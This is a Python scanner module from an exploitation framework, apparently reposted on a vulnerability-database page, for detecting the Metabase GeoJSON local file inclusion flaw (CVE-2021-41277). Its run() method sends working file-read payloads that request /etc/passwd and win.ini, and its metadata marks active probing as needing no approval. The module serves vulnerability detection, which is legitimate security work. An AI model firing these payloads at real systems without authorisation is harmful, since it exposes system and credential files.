Metabase - Local File Inclusion Detection
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Metabase is an open source data analytics platform."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Metabase - Local File Inclusion Detection',
'description': 'Metabase is an open source data analytics platform. In affected versions a local file inclusion security issue has been discovered with the custom GeoJSON map (`admin->settings->maps->custom maps->add a map`) support and potential local file inclusion (including environment variables). URLs were not validated prior to being loaded.',
'author': ['KittySploit Team'],
'severity': 'high',
'tags': ['web', 'scanner', 'cve', 'cve2021', 'metabase', 'lfi', 'kev', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://github.com/metabase/metabase/security/advisories/GHSA-w73v-6p7p-fpfr',
'https://nvd.nist.gov/vuln/detail/CVE-2021-41277',
'https://twitter.com/90security/status/1461923313819832324',
'https://github.com/metabase/metabase/commit/042a36e49574c749f944e19cf80360fd3dc322f0',
'https://github.com/pen4uin/vulnerability-research-list',
],
'cve': 'CVE-2021-41277',
}
def run(self):
for path in ('/api/geojson?url=file:///etc/passwd', '/api/geojson?url=file:///c://windows/win.ini'):
r = self.http_request(method="GET", path=path, allow_redirects=False)
if not r or r.status_code != 200:
continue
body = r.text or ""
body_all = ('bit app support', 'fonts', 'extensions',)
body_regexes = ('root:.*:0:0',)
if (all(m in body for m in body_all)) and (any(re.search(rx, body, 0) for rx in body_regexes)):
self.set_info(
severity='high',
reason="Metabase - Local File Inclusion detected",
path=path,
)
return True
return False
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28 Jul 2026 11:27Current
6.6Medium risk
Vulners AI Score6.6
CVSS 25
CVSS 3.17.5 - 10
EPSS0.97178
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